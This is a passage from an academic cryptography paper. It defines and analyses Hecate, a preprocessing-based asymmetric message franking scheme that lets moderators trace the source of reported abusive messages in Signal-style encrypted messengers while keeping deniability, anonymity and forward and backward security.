curity within AMF. As we will discuss in more detail in §2,
the challenge in combining AMF with backward security
stems from the fact that indirect recipients of a message (after
forwarding) cannot rely on the backward security of the under-
lying encrypted messaging protocol to tell whether the token
is produced by the now-uncorrupted source or the attacker.

In summary, we make four contributions in this work.

• We rigorously define AMF with preprocessing (§3). We
generalize the definition from TGLMR, formalize for-
ward and backward security, and add source tracing.

• We provide a construction called Hecate (§4). It requires
only a few black-box calls to standard crypto primitives.

• We formalize and prove (§5) that Hecate achieves all of
the security guarantees shown in Table 1.

• We implement Hecate (§6) and integrate it into a Signal
client. We show that Hecate’s performance compares
favorably to prior work and is imperceptible in practice.

Before continuing, we wish to stress that any decision to
use content moderation within end-to-end encrypted messen-
gers requires weighing all of its potential benefits and risks,
including the limitations of Hecate and prior works (see §7),
and the risk of abuse by (or coercion of) the moderator. This
is a complex policy question whose discussion should in-
volve computer scientists, but not only computer scientists.
We take no stance on the policy question in this work; in-
stead, we observe that these policy discussions are already
ongoing [2, 17, 62] and that a sub-optimal understanding of
the technological possibilities may push a service provider or
nation-state policymakers toward a worse policy decision. We
undertake this research in order to demonstrate the feasibility
of alternatives to blunt privacy-inhibiting legislation.

2 Overview

In this section, we describe our objectives for an asymmetric
message franking (AMF) system. We begin by describing the
setting and threat model for our work, and then we provide a
high-level description of the security requirements and a brief
description of how our Hecate protocol will achieve them.

2.1 Setting and Threat Model
In this work, we consider an EEMS that might contain
network-level anonymity protections such as Signal’s sealed
sender [68] or Tor [28]. We focus on two party point-to-point
communication; that said, our techniques translate directly to
Signal’s group messaging protocol as described in §7.

Within the context of any single message transmission, we
refer to the participating clients using the following terminol-
ogy: the source who initially produced the message within the
messaging platform, the receivers who receive the message
and can optionally decide to report it (in which case we call
them a reporter) and the forwarders who are receivers that
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decide to send the message along to others. All clients only
possess the computational power of a phone.

Due to forwarding, the communication graph of each mes-
sage has the structure of a tree rooted at the source. Several
messages can be sent concurrently, and a client can have dif-
ferent roles in the communication trees of different messages.

In addition to the messenger clients, our model contains
two (possibly separate, and more computationally powerful)
entities that everyone can communicate with: (1) the plat-
form that provides the messaging service, and (2) the content
moderator that receives reports and helps victims of abuse.
We consider the platform and moderator as possibly sepa-
rate so that our model can capture settings where a platform
outsources moderation tasks to other, more qualified organiza-
tions (e.g., Facebook’s oversight board [58]). We emphasize
that our model and construction do not rely upon separation of
these roles in any way; they remain valid even if the platform
and moderator are operated by the same entity.

In general, the parties in the system view all other parties
as potentially malicious and colluding together. Every party
wants confidentiality and integrity to the strongest extent pos-
sible, even if some or all of their counterparty, the platform,
and the moderator are colluding against them. In particular,
we wish to retain all of the security goals that end-to-end
encrypted messengers provide, as detailed in §2.2 and §5.

The parties’ relationships toward the moderator are subtle
and merit further discussion. The moderator and platform
view each other as semi-honest; looking ahead to our Hecate
construction, the moderator trusts the accuracy of any times-
tamp applied by the platform but it need not trust the platform
for any other purpose. Clients have a choice: if they view the
moderator and platform as malicious and colluding, then they
must be assured of limits to the moderator’s power; or, if they
view the moderator as semi-honest then they must be assured
that the moderator can perform its role.

In this work, a malicious attacker has the power to com-
promise one or more parties, in which case it can observe
these parties’ local state (e.g., cryptographic keys) and run ar-
bitrary software for the duration of their control of a victim’s
machine. A semi-honest party, by contrast, is assumed to per-
form all actions honestly, and the only objective against such
a party is data minimization. We presume that the software
implementing the encrypted messenger faithfully reproduces
the intended specification so that the adversary cannot control
the behavior of honest parties. Put another way, supply chain
attacks and formal verification are out of scope of this work.

The objective of holding senders accountable for reported
messages creates a tension with the security goals of end-
to-end encrypted messengers. In particular, clients no longer
receive confidentiality, deniability, anonymity, or other pri-
vacy guarantees against the moderator for reported messages.
Moreover, an AMF scheme imposes a limit on forward secu-
rity, because messages sent in the past now can be revealed
to the moderator in the present. Our objective is to ensure

security up to these fundamental limits. We emphasize that
even if the moderator is malicious and colluding with some
clients, all of the security guarantees for end-to-end encrypted
messaging continue to hold for all unreported messages com-
municated between non-colluding clients. Moreover, even for
reported messages, security holds against all other parties who
are not colluding with the moderator.

Another tension exists between content moderation and
network anonymity. For example, sealed sender is a feature
introduced by the Signal protocol to hide the identity of the
sender from the platform. It offers sender confidentiality and
minimizes the amount of metadata stored by the platform.
But if the sender can deny ever sending a message, then can
we hold anyone responsible for sending an abusive message?
TGLMR [75] resolved this dilemma using zero-knowledge
signatures. In this paper, we contribute a construction based
solely on black-box use of standard crypto primitives.

2.2 Security goals

In an asymmetric message franking scheme, we aim to pro-
vide all of the security and privacy goals of encrypted messen-
gers [23, 77]. Some EEMS goals (cf. §3.1) are already consis-
tent with content moderation, in which case AMF construc-
tions can use these properties and must ensure that they don’t
weaken them. To give a concrete example for our Hecate
protocol: we use the EEMS as a black box, and we will take
advantage of the receiver’s ability to authenticate the sender’s
identity. On the other hand, some security goals are not fully
compatible with content moderation, in which case we aim to
make the smallest modification possible.

Below, we describe each security goal from Table 1 and
highlight the extent to which it is impacted by content moder-
ation. These security goals apply to all clients who construct
properly formatted messages that adhere to the encrypted
messaging protocol, whether or not their messages are sub-
sequently reported. That is: even though malicious parties
in a crypto protocol receive no security guarantees, the mere
act of sending a reported message does not render a client
malicious.

• Confidentiality. Anyone not involved in the creation, for-
warding, or reporting of a message m must not learn
anything about m except an upper bound on its size.

• Anonymity. The AMF scheme should not allow the plat-
form, receiver, or moderator to learn anything about the
source and forwarding path of a message beyond what
they would learn from the underlying EEMS or a report.

• Deniability. Every user should be able to deny a claim
about the contents of an unreported message made by any
adversary (even other recipients of this message). Also,
reported messages are deniable to anyone other than the
moderator, and if the moderator’s keys are breached then
they become deniable to everyone.
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• Forward security. Adversaries that compromise users’
state in the present should not be able to deduce anything
about messages exchanged in the past. This goal does not
apply to messages that happen to remain on the phone
in the present, which can still be read and reported.

• Backward security. Once a client recovers from a com-
promise event, then the compromised state becomes ‘use-
less’ after a short delay. That is, the adversary cannot
subsequently originate a new message that (if reported)
would cause the moderator to blame the victim client.

• Unforgeability. The adversary cannot send a message
that appears to be sent by another party. An honest re-
ceiver will reject any malformed or tampered messages.

• Accountability. If a message passes a receiver’s verifica-
tion check and is subsequently reported, the moderator
will trace it back to its original source. That is: nobody
can falsely accuse someone who wasn’t the source of a
message, and the true source cannot evade detection and
yet also have the message verified by the receiver.

2.3 Protocol Overview
In this section, we give a high level overview of our Hecate
protocol in two stages (with and without message forwarding)
and explain informally how it satisfies our security goals.

Hecate without forwarding. At a high level, our Hecate
construction can be thought of as an interactive variant of
designated-verifier signatures. Given a message m, the source
constructs a 2-out-of-2 secret sharing, say H(m) = x1⊕x2. In
Hecate, the moderator binds x1 to the source’s identity (which
on its own reveals nothing about m), and then the source binds
x1 to x2 without using any long-lived keys.

As shown in Fig. 2: since one of the two shares can be
sampled even before m is known, during preprocessing the
moderator selects x1 as an encryption of the source’s iden-
tity (which appears random to everyone else), samples an
ephemeral digital signature keypair (ske,pke), and signs both
x1 and pke. The tuple of x1, pke, and their signature constitute
the preprocessing token token. During the online phase, the
source uses the ephemeral key ske to sign x2; we refer to the
pair of x2 and its signature as another token token.

The source provides both tokens to the receiver within the
payload of an ordinary Signal packet, as shown in Fig. 2;
ignore the other elements of the franked ciphertext cfrank for
now. Any receiver can check on its own whether the signatures
are valid and the underlying values x1 and x2 combine to
form the real message m that the receiver also gets from the
underlying Signal communication; if verification fails, then
the message is malformed, so it is dropped without displaying
on the receiver’s device. If a verified message is later reported,
the two tokens together will convince the moderator that the
source was the originator of message m.

Achieving our security goals. Many of our security guar-

antees follow directly from the corresponding property of the
underlying EEMS, so we focus on the most challenging goals
here. Hecate provides accountability for the same reason as
symmetric messaging franking schemes: the moderator cre-
ated an authenticated encryption of the source’s identity for
its future self. Forward security holds because ephemeral sign-
ing keys ske from the past were deleted before a compromise
event in the present. Deniability can be shown in two parts: if
the moderator’s keys are breached then anyone can produce
signatures for any choices of x1 and x2, and otherwise the
source’s identity is hidden within the encrypted token so any-
one could have ‘forged’ signatures of an (x1,x2) pair using
her own tokens rather than those of the real source.

Backward (or post-compromise [25]) security is more chal-
lenging to address, and it is worth pausing for a moment to
discuss what this guarantee means in the context of content
moderation. If an adversary corrupts the source’s phone, it
can produce messages whose reports blame the source; this is
inevitable. Our goal is to ensure that once the source recovers
control of her phone, then (perhaps after a short delay δ) any
new message produced by the adversary cannot implicate
the honest source. To provide this guarantee within Hecate,
the moderator includes a timestamp within its attestation to
x1, and receivers drop any message where this timestamp
is too old. This ensures that an adversary cannot use stale
pre-processing tokens long after the compromise event.

Hecate with message forwarding. Next, we allow forward-
ing of messages and consider source tracing, in which the
moderator should identify only the original source of a re-
ported message. For the most part, our construction is already
amenable to source tracing: a forwarder can simply include
the original source’s tokens within a forwarded message rather
than generating new tokens that would implicate herself. How-
ever, our timestamp-based solution to backward security now
fails because the age of x1 is insufficient to determine whether
the original source had control of her cryptographic keys at
the moment that the original message was sent (as opposed
to the time of the forwarding).

We solve this problem by appending a timestamp time as
the data traverses through the platform. To verify backward
security, it suffices to verify whether the pre-processed token
(which contains the identity of the source to blame) was pro-
duced close in time to the message transmission. Timestamps
for forwarded messages are disregarded; future recipients
only care about the timestamp from the original source.

It only remains to bind the source timestamp to the message,
so that it cannot be tampered later. Note that we cannot reveal
x2 to the platform, or else the platform and moderator together
could recover the content of messages. Blind signatures are a
possible solution to allow the platform to timestamp-and-sign
obliviously, but constructions that only require one message
received and sent by the platform require trusted setup [35],
non-standard crypto assumptions [37,38], or a concretely slow
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mod src plat

pke,ske, idsrc,t1 m, r t2inputs

x1 := Enckmod(idsrc) x2 := H(m)⊕x1shares

σ1 := Signskmod(x1‖pke‖t1) σ2 := Signske(x2)signatures

com := comr(x1‖x2) σ3 := Signskplat(com‖t2)stamp

[ x1,σ1,t1,pke ]payload [ x2,σ2, r ]payload, [ com ]envelope [ t2,σ3 ]envelopeske,

token
cfrank

cstamp

Figure 2: The construction of the different parts of a franked cipher. The outputs of the diagram correspond to each party’s
contribution to the eventual stamped cipher cstamp. The source constructs the franked cipher cfrank using a token provided by the
moderator during preprocessing. We denote by payload and envelope two different parts of the ciphertext as defined in the Signal
sealed sender protocol [68]; the platform and receiver can read the envelope whereas only the receiver can read the payload.

runtime with non-black-box reductions [36, 50]. Instead, we
take advantage of the fact that the platform’s actions need
only be verified by recipients who already know x1 and x2,
so it suffices for the platform to produce a signature σ of the
current time together with a commitment to the two shares.
The corresponding decommitment randomness can be sent to
the receiver within the encrypted messenger payload, so that
the recipient can verify that it is well-formed.

3 Definitions

In this section, we present a nearly black-box model of the Sig-
nal protocol that we use in this work, and then we detail a new
definition for an asymmetric message franking scheme that
generalizes TGLMR [75]. We refer readers to Appendix A
for formal definitions of the cryptographic building blocks
we use in this work: commitments, authenticated encryption,
digital signatures, and collision-resistant hash functions.

3.1 Modeling an EEMS

End-to-end encrypted messaging systems (EEMS) using the
Signal protocol [70] are a complex, delicate combination
of standard cryptographic primitives. Starting with Cohn-
Gordon et al. [23], there is a long line of research that analyzes
the security of EEMS constructions such as the two-party Sig-
nal protocol itself (e.g., [4, 9, 48]), modified versions that
provide provide stronger guarantees (e.g., [45, 47, 61]), and
extensions to support group messaging (e.g., [18, 22, 63]).

In this work, we wish to treat an EEMS as a black box and
consider only an API-level description of its operation and
underlying security guarantees. For this reason, we follow
the UC models of an EEMS as shown by the recent works of
Bienstock et al. [13] and Canetti et al. [19], rather than the
game-based definitions in the literature (e.g., [4,9]). The ideal
functionality FSignal in these works models the creation, evo-
lution, and destruction of communication ‘sessions’ between
different pairs of parties, and keeps track of the long-term and
ephemeral state that parties must hold for each operation.

We follow this abstract model, with three changes. First,
we allow a sender to attach public information outside of the
encrypted message on the envelope that is visible to the plat-
form, as shown in Fig. 2. As defined by Signal’s sealed sender
construction [68], the envelope constitutes the outer shell of
an encrypted message and contains any data that is visible to
the platform such as the ciphertext and the recipient’s address.
Second, in order to support an anonymous network, we al-
low for inputs involving the parties’ identities to be optional.
Third, we add an explicit forgery method to highlight the fact
that an EEMS achieves deniable authentication [30] (which
is implicitly true in universally composable security mod-
els [21]): that is, the sender and receiver can forge a transcript
showing that a message originated with the other party.

Hence, our abstract model of Signal involves three methods.
All of these methods implicitly use the state of the party (or
parties) that participate in each method.

• sendeems(m
∗; idsrc, idrec)→ c: Run by the source client

idsrc with message m∗, this method sends a ciphertext
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c to the platform. This message m∗ might contain pay-
load and envelope components, similarly to how Signal’s
sealed sender operates. We sometimes omit the latter two
inputs when they are clear from context.

• delivereems(c; idrec)→ m∗: An interactive protocol in
which the platform delivers a ciphertext c to the receiver
idrec. If this receiver was the intended target of a pre-
vious sendeems that produced c, then they can decrypt
using their local state to recover m∗. Here, it is unclear
whether to include idrec as an input: for an anonymous
communication channel it is important that the platform
not know idrec, but for non-anonymous networks it may
be required. We leave idrec as an optional parameter, and
throughout this work we focus on the stronger setting in
which the network is anonymous so this input is omitted.

• forgeeems(m
∗; idsrc, idrec)→ c: A forgery algorithm ex-

ecuted by a party idrec and requiring its state staterec. It
forges a transcript that looks as though the message m∗

were sent by its counterparty idsrc in an EEMS communi-
cation, with a destination of idrec. The parameters idsrc
and idrec are optional for the same reasons as sendeems,
and they will be omitted from this work.

3.2 Defining AMF with Preprocessing

Next, we present a rigorous definition for an asymmetric mes-
sage franking system with preprocessing. This definition ex-
tends the one from TGLMR [75] in two ways. First, it includes
an (optional) out-of-band communication between the mod-
erator and sender, which results in a one-time token that is
consumed when sending a message. Second, it is designed in
a modular fashion so that it can be built on top of any EEMS
that adheres to the model in §3.1.

Definition 1. An asymmetric message franking scheme with
preprocessing AMF = (KGen, TGen, Frank, Forward, Stamp,
Inspect, Verify, Forgemod, Forgerec) is a tuple of algorithms
called by different parties in the messaging ecosystem. We
assume that each party has a unique identifier id provided by
the underlying EEMS, and we define a state variable state
for each party containing all keys and tokens generated by
the AMF scheme and the underlying EEMS that have not yet
been deleted. The algorithms operate as follows.

• (pk,sk)←$KGen(): The key generation algorithm ac-
cessed by any party in the EEMS and used for creating
(potentially multiple) cryptographic keys. The algorithm
is at least run once at the beginning of time to setup the
long-term key material for each party.

• TGen(idsrc, timemod,kmod)→ token: An algorithm run
by the moderator periodically that provides a one-time
token for use when sending a message. An honest mod-
erator should only provide tokens to a participant that
correspond to their actual identity idsrc. It is assumed

that the moderator can rely on the EEMS to authenticate
a user’s identity idsrc before running TGen.

• Frank(statesrc,m, idrec, token)→mfrank: The message
franking algorithm that allows a user with state statesrc
to frank a plaintext message m that they wish to send to
a receiver idrec, using the token received during prepro-
cessing. The statesrc contains all key material produced
by KGen and the underlying EEMS, although Frank need
not use this state. The resulting franked message mfrank

can be sent to the platform using sendeems.
• Stamp(cfrank,skplat, time)→ cstamp: The stamping pro-

cedure run by the platform to authenticate and times-
tamp a franked cipher cfrank. The resulting stamped ci-
pher cstamp can then be delivered to its intended recipient
using the delivereems method. Stamp does not have the
sender or receiver’s identity, even if delivereems does.

• Forward(mfrank,statefwd, idrec)→ mfrank
′: Forwarding

algorithm that allows a user with franked message mfrank

to produce a new franked message mfrank
′ intended for

a new recipient idrec. The format of mfrank and mfrank
′

are identical, so the ciphertexts of new and forwarded
messages look indistinguishable to the platform.

• Verify(mfrank,staterec)→ (m, report) or⊥: Allows a re-
ceiver to validate a franked message mfrank with respect
to its state staterec. If valid, Verify returns the corre-
sponding plaintext message m along with a string report
that the receiver can send to the moderator if they choose
to report an abusive message.

• Inspect(report,kmod) → (idsrc,m, time) or ⊥: The in-
spection algorithm that allows a moderator to handle
reported message report using their secret key kmod by
validating and possibly source tracing them. If the verifi-
cation step succeeds, the moderator produces the id of
the source idsrc, the message contents m, and a times-
tamp of the message time.

• Forgemod(idsrc, idrec,m,kmod)→mfrank: For deniability,
this forgery protocol allows a moderator with secret
key kmod to forge a franked message with plaintext m
on behalf of a user with id idsrc and with an intended
recipient with id idrec.

• Forgerec(idrec,m,staterec; idsrc)→ cfrank: For deniabil-
ity, this forgery algorithm allows a receiver with id idrec
and state staterec to forge a franked ciphertext as though
the message m was transmitted through the EEMS by the
sender idsrc to the receiver idrec. Note that idsrc is an
optional parameter and may not be needed by systems
that support anonymous messaging.

We say that an AMF scheme with preprocessing is secure
if all computationally bounded attackers have negligible ad-
vantage in winning the deniability, anonymity, confidentiality,
accountability, and backward secrecy games. These games are
nuanced to describe; rather than doing so here, we defer dis-
cussion to the security analysis in §5 and the full version [44].
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Command Actor KeyGen Sign Verify
TGen mod 1 1 0
Frank src 0 1 0
Stamp plat 0 1 0
Forward fwd 0 0 0
Verify rec 0 0 3
Inspect mod 0 0 3

Table 2: The number of public-key digital signature opera-
tions required for each of the interactive algorithms within
Hecate (except for the one-time KGen at setup). We only
count the additional cryptographic operations required for
Hecate beyond those already required by the EEMS.

4 Constructing Hecate

In this section, we describe the Hecate construction in detail.
As per Def. 1, Hecate has eight algorithms. We describe them
within this section, and we provide the full protocol speci-
fication of Hecate in Figs. 3-4. Because they are the most
expensive of our standard crypto primitives, we also count the
number of public key operations in each step here and in Ta-
ble 2. For context, the prior AMF scheme from TGLMR [75]
required at least 11 modular exponentiations per algorithm.

Key generation. KGen initializes a few long-term keys: the
moderator samples an authenticated encryption key kmod and
both the moderator and platform sample a digital signature
key pair (pkmod,skmod) and (pkplat,skplat). One strength of
Hecate is that individual parties do not need any long-term
key material besides their existing EEMS keys, which simpli-
fies our analysis of forward and backward security.

Token generation during preprocessing. In TGen, the mod-
erator creates a batch of tokens for users at specific time
intervals. Each token provides users with:

• Ephemeral session keys (pke,ske) that they can use to
sign their message. None of the keys tie to users’ long-
term key material, thus giving the sender plausible deni-
ability and confidentiality with respect to other users.

• A dual purpose randomized encryption x1 :=
Enckmod(idsrc) of the user’s identity idsrc under
the moderator’s secret key kmod that enforces account-
ability with respect to the moderator, confidentiality
with respect to other users, and provides token integrity.
The latter property is ensured by having the sender
create a share x2 that along with x1 reconstructs to a
hash of the sent message.

• A timestamp t1 that provides backward security.
• A signature σ1 by the moderator of the entire token that

guarantees integrity and unforgeability of the token.

As shown in Table 2, the moderator requires two public key
operations for token generation: 1 keygen operation to pro-
duce the ephemeral key pair and 1 signature to sign the public
ephemeral key with the identity of the sender.

Message franking. The Frank method is executed every
time the source wishes to send a message. The constructfrank
procedure requires an input plaintext message m from the
source and consumes a single token at a time, and it produces a
franked message mfrank. This can be combined with sendeems

to relay a franked ciphertext cfrank to the platform.
To produce the franked message, the sender begins by un-

packing x1 from the token and computes x2 such that these
variables constitute a 2-out-of-2 sharing of H(m). Next, x2 is
signed via the ephemeral keys in the original token to produce
σ2. Collectively, x2, σ2, and elements of the pre-processing
token (excluding the secret ephemeral key) will constitute the
payload of the franked message. Then, the sender creates a
commitment com of x1‖x2 using the randomness r. The user
then pushes com onto the envelope of the franked message
and appends r to its payload. In total, a sender only requires
1 public key operation to sign the second share x2. The con-
structed franked message mfrank has several properties: x2 and
com bind the online and preprocessing stages together, the
signature allows the receiver to check the well-formedness of
the message, and the use of an ephemeral signing key provides
deniability with respect to anyone other than the moderator.

Stamping. In Stamp, the platform timestamps and digitally
signs the envelope of a franked cipher cfrank; ergo, this pro-
cedure requires 1 public key operation. Then, the platform
relays the resulting stamped cipher cstamp to its intended re-
cipient. Stamping prevents a preprocessing token from being
used indefinitely after a compromise to blame a victim client
for unsent messages.

Verification and reporting. Upon reception, the receiver
executes Verify to validate the signatures, timestamps, packet
integrity, and envelope commitments. If a message fails the
verification check, then the receiver drops the packet and the
application never displays the plaintext message. Otherwise,
Verify generates a plaintext message m that can be displayed
on the receiver’s phone, and a report that can be sent out to
the moderator if the receiver so chooses.

In Hecate, the report solely consists of the franked message
mfrank. When the moderator receives a report, they locally
run the Inspect method which performs the same verification
procedure as the recipient, and if successful, decrypts the
source’s identity from the ciphertext x1 within the token. Both
the receiver of a message and a moderator who receives a
report require 3 signature verifications to check that the two
shares are not tampered with and have the right timestamps.

Message forwarding. Verified messages can alternatively
be forwarded using the optional Forward method. There are
two differences between Forward and Frank: the forwarder
creates a dummy commitment outside the Signal envelope,
and it moves the true commitment and signed timestamp into
the payload of the franked message. Because it reuses the
prior signature, the forwarder doesn’t perform any public key
operations of its own. Note that Frank and Forward payloads
are distinguishable by the receiver but indistinguishable to the
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KGen [mod and plat, separately]

1 : kmod ←$EncKGen(1n)

2 : (pkmod,skmod)←$SigKGen(1n)

3 : (pkplat,skplat)←$SigKGen(1n)

TGen [mod→ src]

1 : token := constructtoken(skmod, idsrc)

2 : return token

Frank [src→ plat]

1 : mfrank := constructfrank(token,m)

2 : cfrank := sendeems(mfrank)

3 : return cfrank

Forward [fwd→ rec]

1 : mfrank
′ := constructfwd(mfrank)

2 : cfrank := sendeems(mfrank
′)

3 : return cfrank

Stamp [plat→ rec]

1 : cstamp := stamptime(cfrank)

2 : cstamp
′ := sendeems(cstamp)

3 : return cstamp
′

Verify [rec→ mod/rec]

1 : mfrank := delivereems(cstamp)

2 : mfrank :=movestamp(mfrank)

3 : (m, report) := vfRec(mfrank)

4 : if (m, report)
?
=⊥ :

5 : return ⊥
6 : return (m, report)

Inspect [mod]

1 : if vfMsg(report) :

2 : return (Dec(report.x1), report.t2)

3 : return ⊥

Figure 3: Hecate’s construction along with the transmissions using the encrypted messenger. The notation [a→ b] means that
party a executes the method and sends the returned value to b. The receiver of a message may elect to forward or report it; we
assume that Forward is preceded by a successful invocation of Verify. See Fig. 4 for more details on the methods used here.

constructtoken(kmod,skmod, idsrc)
1 : (pke,ske)←$SigKGen(1n)

2 : t1 := time()

3 : x1 := Enckmod (idsrc)

4 : σ1 := Signskmod (x1‖pke‖t1)
5 : token := (x1,t1,σ1,(pke,ske))

6 : return token

constructfrank(m, token)
1 : r ←${0,1}n

2 : (x1,t1,σ1,(pke,ske)) = token

3 : x2 := split(x1,H(m))

4 : σ2 := Signske (x2)

5 : com := comr(x1‖x2)
6 : envelope := com

7 : payload := (x1,x2,pke, r,t1,σ1,σ2)

8 : fwdpayload := /0 // reserved for forwarder

9 : mfrank := (m,payload, fwdpayload,envelope)

10 : return mfrank

constructfwd(mfrank)

1 : mfrank :=movestamp(mfrank)

2 : mfrank.envelope←${0,1}n

3 : return mfrank

stamptime(cfrank,skplat)
1 : t2 = time()

2 : σ3 := Signskplat (com‖t2)

3 : cstamp.envelope := (com‖σ3‖t2)
4 : cstamp.payload := cfrank.payload

5 : return cstamp

movestamp(mfrank)

1 : if mfrank.fwdpayload
?
= /0 :

2 : mfrank.fwdpayload :=mfrank.envelope

3 : return mfrank

vfRec(mfrank)

1 : if vfMsg(mfrank) :

2 : report :=mfrank

3 : return (mfrank.m, report)

4 : return ⊥

vfMsg(report)
1 : b1 := vfToken(report)

2 : b2 := vfCom(report)

3 : b3 := vfExp(report)

4 : return b1 ∧b2 ∧b3

vfToken(report)
1 : reveal := open(x1,x2)

2 : b1 := (reveal ?
=H(m))

3 : b2 := Vfpkmod (x1‖pke‖t1,σ1)

4 : b3 := Vfpke (x2,σ2)

5 : return b1 ∧b2 ∧b3

vfExp(report)

1 : b := |t1− t2|
?
< expiry

2 : return b

vfCom(report)
1 : (com,σ3,t2)← report.fwdpayload

2 : b1 := Vf(x1‖x2,com, r)

3 : b2 := Vfpkplat (com‖t2,σ3)

4 : return b1 ∧b2

Figure 4: Hecate’s subroutines. See Appendix A for specifications and security guarantees of the crypto primitives used. We
omit writing out attribute access notation when it is obvious from the context (i.e. com for instance is a shorthand for cfrank.com).

Source’s Payload Forwarder’s Payload Envelope
x1 x2 nonce pke r t1 σ1 σ2 envelope of source com σ3 t2
32B 32B 12B 32B 32B 8B 64B 64B 104B 32B 64B 8B

Table 3: The format of a franked message delivered to the receiver, along with sizes in bytes for the implementation in §6. A
franked message sent by the source is similar, except the envelope does not yet contain σ3 or t2.
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platform (meaning that it will stamp a forwarded cipher); see
Table 3 for the format of mfrank. The receiver of a forwarded
message executes Verify using the commitment, signature,
and timestamp inside the payload (ignoring the envelope).

We defer discussion of Hecate’s forgery algorithms to §5
with more details provided in the full version of this work [44],
since these are proof artifacts of the deniability property rather
than actual elements of the construction.

5 Security Analysis

In this section, we formally define the security properties of
asymmetric message franking (AMF) with preprocessing, and
we prove that Hecate guarantees them. All of our definitions
are written as indistinguishability games GAMEA

b for b ∈
{0,1}, and we want to show that the adversary’s advantage

Advgame
Hecate(A) =

∣∣∣Pr
[
GAMEA

1 = 1
]
−Pr

[
GAMEA

0 = 1
]∣∣∣

is negligible for each game, if the adversary A is computa-
tionally bounded to probabilistically polynomial time (PPT).

Due to space constraints, we include here an informal de-
scription of each game and concrete theorem statements. We
defer full game descriptions and security proofs to [44].

Deniability. Deniability states that a sender should always
be able to deny that they sent a particular message to anyone,
except to the moderator when a message is reported. Denia-
bility could hold with respect to a colluding moderator and
receivers, or it can hold against malicious receivers who are
not colluding with an honest moderator.

Theorem 5.1. Hecate is deniable against a moderator. Any
adversary A has advantage AdvdenmHecate(A) = 0.

The essence of Thm. 5.1 is the claim that Hecate’s real
send routine is indistinguishable from the moderator’s forgery.
Intuitively, Hecate achieves moderator deniability because
Hecate implements algorithms TGen, Frank and Forward
without ever using the user’s long term key materials and
instead relies on ephemeral keys that the moderator generated.
Additionally, the preprocessing token relies on an encryption
and signature by the moderator in a way that is not directly
bound to the message. This claim holds even against a distin-
guisher who also has the moderator’s secret key – that is, if
the moderator chooses to leak their own keys in an attempt to
convince the rest of the world about the actions of a sender.
For a rigorous proof of this theorem (and all theorems in this
section), see the full version of this work [44].

Theorem 5.2. Hecate is deniable against a malicious re-
ceiver. Concretely, for any PPT adversary A , there exist PPT
adversaries A ′ and A ′′ such that:

AdvdenrHecate(A)≤ Adv
eemsdeniability
E (A ′)+Adv

enccpa
E (A ′′).

That is: Hecate’s deniability reduces to the deniability and
CPA security properties of the underlying EEMS scheme E .

Anonymity. In this work, anonymity considers the amount
of metadata that each entity can learn through the abuse report-
ing system alone, if the network provides perfect anonymity.

First, anonymity with respect to the receiver guarantees that
receivers should not be able to learn any other member of the
forwarding path of a message beyond their direct neighbors.

Theorem 5.3. Hecate is anonymous with respect to the re-
ceiver. For any PPT adversary A , there exists an adversary A ′
that can win the chosen plaintext attack game with advantage
AdvanonrHecate(A)≤ Adv

enccpa
Hecate(A ′).

Informally, this theorem holds because the preprocessing
tokens in Hecate only contain any information about the orig-
inal sender’s identity in encrypted form; without access to the
moderator’s secret key, a receiver can’t distinguish between
tokens that originate from different senders. Additionally,
Hecate stores no information about forwarders of a message
at all, thereby guaranteeing their anonymity as well.

Second, anonymity with respect to the moderator ensures
that the moderator should not be able to learn members of the
forwarding path of a reported message beyond the neighbors
of colluding receivers and the reported source. Here, honest
forwarders want to be assured that, when their direct contacts
are honest, only their neighboring recipients know that they
forwarded a specific message.

Theorem 5.4. Hecate is anonymous with respect to the mod-
erator. Any adversary A has advantage AdvanonmHecate(A) = 0.

Confidentiality and Forward Secrecy. Message confiden-
tiality dictates that any party not involved in the creation,
reception or reporting of a message should not be able to
learn anything about the message. Moreover, forward secrecy
guarantees that corrupted users should be guaranteed confi-
dentiality of all their messages and interactions prior to the
time of compromise. In this work, we consider the state of
users to consist entirely of their key material and their tokens;
ergo, Hecate can only guarantee confidentiality for messages
that have been securely deleted from the local device prior to
the compromise event.

Theorem 5.5. Our scheme Hecate is message confidential
and forward secure. Concretely, for any PPT adversary A ,
there exist PPT adversaries A ′ and A ′′ such that:

Advconf-fsHecate(A)≤ Adv
hidingcom
Hecate (A ′)+Advenccca

Hecate(A
′′).

Informally, the theorem holds because Hecate constructs
franked messages by appending tokens to the payload of the
message, and by adding a commitment and timestamp to its
envelope (see constructfrank and stamptime in Figure 4). The
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tokens are encrypted alongside the plaintext message. The
identifying content of the commitment is encrypted, and we
rely on the hiding properties of the commitment scheme and
the security of the connection that exists between parties
and the platform. No part of a Hecate franked message can
therefore break this security property.

Unforgeability and Accountability. These properties de-
scribe a scheme’s ability to bind senders to well-formed mes-
sages while guaranteeing that no user can be accused of
sending a message that they did not send. They go hand-in-
hand because well-formed messages are necessarily bound to
their original sender and cannot be attributed to anyone else.

Theorem 5.6. Hecate holds users accountable. For any PPT
adversary A that makes at most q queries to its Osend oracle,
there exist PPT adversaries A ′ and A ′′ such that:

AdvaccHecate(A)≤ (q+1) ·Advsigeu-cma
S (A ′)+Adv

hashcoll
H (A ′′).

The description of the Osend oracle and the proof of this
theorem are deferred to the full version of this work [44].

Backward Security. Backward Security requires that an
adversary who controlled the state and keys of a device pre-
compromise should not be able to benefit from them after
device recovery. In particular, the adversary should be unable
to craft new messages from a recovered user or claim that
during-compromise messages were sent out (not forwarded)
after the compromise period.

Theorem 5.7. Hecate is backward secure. For any PPT ad-
versary A , there exist PPT A ′, A ′′, and A ′′′ such that:

AdvbacHecate(A)≤ AdvaccHecate(A ′)
+Advsigeu-cma(A ′′)+Advbindingcom(A ′′′).

Informally, this theorem holds because Hecate requires the
moderator and platform timestamps to be close to one another.
Hecate also binds each of these timestamps to the franked
message and the source’s identity, but in a confidential way,
to ensure that the adversary cannot evade backward secrecy
by using unexpired timestamps from other messages.

6 Implementation and Evaluation

We implemented Hecate as a Rust library that can be used as a
back-end by other systems. Our implementation uses Signal’s
official platform agnostic API library libsignal-client [69] for
our encryption, commitment and hashing building blocks.
To that effect, we use libsignal-client’s implementation of
AES-256 GCM for symmetric encryption and HMAC with
SHA-256 for commitments. We use the ed25519-dalek [27]
crate for ed25519 signatures and their associated functions
and SHA256 from the sha2 crate for our hash functions. Our
implementation is open source and available at [41].

Figure 5: Online runtime of Hecate’s components as a func-
tion of message size in bytes

In this section, we show experimental results when execut-
ing each component of Hecate in isolation. Then, we measure
the overhead of Hecate when integrated into a Signal client.

6.1 Performance Cost and Comparison

In this section, we measure the runtimes and transmission
sizes for each component within Hecate using Criterion, a
Rust benchmarking suite. We also evaluate prior open-source
